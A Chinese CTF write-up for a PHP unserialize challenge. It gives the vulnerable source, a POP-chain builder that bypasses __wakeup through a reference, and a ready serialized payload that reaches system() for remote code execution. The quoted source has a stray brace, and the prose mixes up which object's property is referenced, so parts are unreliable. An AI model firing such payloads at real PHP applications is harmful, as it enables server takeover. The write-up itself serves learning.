ez_unserialize
考点:
1. PHP 的引用来绕过 __wakeup
2.命令行中执行
php -r 'phpinfo();'
,即可获得完整的phpinfo输出3.PHP 反序列化 POP 链的构造
源码和代码审计:
<?php
show_source(__FILE__);
class Cache {
public $key;
public $value;
public $expired;
public $helper;
public function __construct($key, $value, $helper) {
$this->key = $key;
$this->value = $value;
$this->helper = $helper;
$this->expired = False;
}
public function __wakeup() { //强行把expired设置False,之前碰到都是利用修改属性个数绕过,但师傅提示需通过引用绕过
$this->expired = False;
}
public function expired() {
if ($this->expired) { //如果expired为True
$this->helper->clean($this->key);//clean?好像是一个不存在的方法,通过这个调用__call
return True; //返回True
} else {
return False;
}
}
}
class Storage {
public $store;
public function __construct() {
$this->store = array();//将一个空数组赋值给store
}
public function __set($name, $value) {//给不可访问属性赋值时被调用
if (!$this->store)
$this->store = array();
}
if (!$value->expired()) {
$this->store[$name] = $value;
}
}
public function __get($name) {
return $this->data[$name];
}
}
class Helper {
public $funcs;
public function __construct($funcs) {
$this->funcs = $funcs;//system函数
}
public function __call($name, $args) { //链子的尾,通过这个执行命令
$this->funcs[$name](...$args); //system('ls')等?
}
}
class DataObject {
public $storage;
public $data;
public function __destruct() { //链子的头
foreach ($this->data as $key => $value) {//遍历data数组,键key值value
$this->storage->$key = $value;//将storage对象的$key属性赋值为$value,注意此时可以去触发Storage的__set方法.(给不可访问的属性赋值)
}
}
}
if (isset($_GET['u'])) {
unserialize($_GET['u']);//反序列化
}
?>
POP链:
DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()
构造代码:
<?php
class Cache{
public $key;
public$value;
public$expired;
public$helper;
}
class Storage{
public $store;
}
class Helper{
public$funcs;
}
class DataObject{
public$storage;
public$data;
}
$helper=new Helper();
$helper->funcs=array('clean'=>'system');
$cache1=new Cache();
$cache1->expired=False;
$cache2=new Cache();
$cache2->helper=$helper;
$cache2->key='php -r "phpinfo();"';
$storage=new Storage();
$storage->store=&$cache2->expired;
$dataObject=new DataObject();
$dataObject->data=array('key1'=>$cache1,'key2'=>$cache2);
$dataObject->storage=$storage;
echo serialize($dataObject);
?>
解析:
- ⾸先我们往 dataObject 的 data ⾥⾯放⼊了两个 Cache 实例: cache1 和 cache2
- 其中 cache2 指定了 helper, 其 key 设置成了要执⾏的命令 php -r 'phpinfo();' , helper 的 funcs 数组放⼊了 system 字符串
- 然后我们让 storage 的 store 属性成为 cache2 expired 属性的引⽤
- 这样, 在反序列化时, ⾸先会调⽤两个 Cache 的 __wakeup ⽅法, 将各⾃的 expired 设置为 False
- 然后调⽤ dataObject 的 __destruct ⽅法, 从⽽调⽤ Storage 的 __set ⽅法
- Storage ⾸先将 store (即 cache1 的 expired 属性) 初始化为⼀个空数组, 然后存⼊ cache1
- 此时, store 不为空, 那么也就是说 cache1 的 expired 属性不为空
- 然后来到 cache2, storage 的 __set ⽅法调⽤它的 expired ⽅法, 进⼊ if 判断
- 因为此时 cache2 的 expired 字段, 也就是上⾯的 store, 已经被设置成了⼀个数组, 并且数组中存在 cache1 (不为空), 因此这⾥ if 表达式的结果为 True
- 最后进⼊ helper 的 clean ⽅法, 执⾏ system('php -r 'phpinfo();''); 实现 RCE
paylaod:
?u=O:10:"DataObject":2:{s:7:"storage";O:7:"Storage":1:{s:5:"store";N;}s:4:"data";a:2:{s:4:"key1";O:5:"Cache":4:{s:3:"key";N;s:5:"value";N;s:7:"expired";b:0;s:6:"helper";N;}s:4:"key2";O:5:"Cache":4:{s:3:"key";s:19:"php -r "phpinfo();"";s:5:"value";N;s:7:"expired";R:3;s:6:"helper";O:6:"Helper":1:{s:5:"funcs";a:1:{s:5:"clean";s:6:"system";}}}}}
flag :
总结:
考点就是总结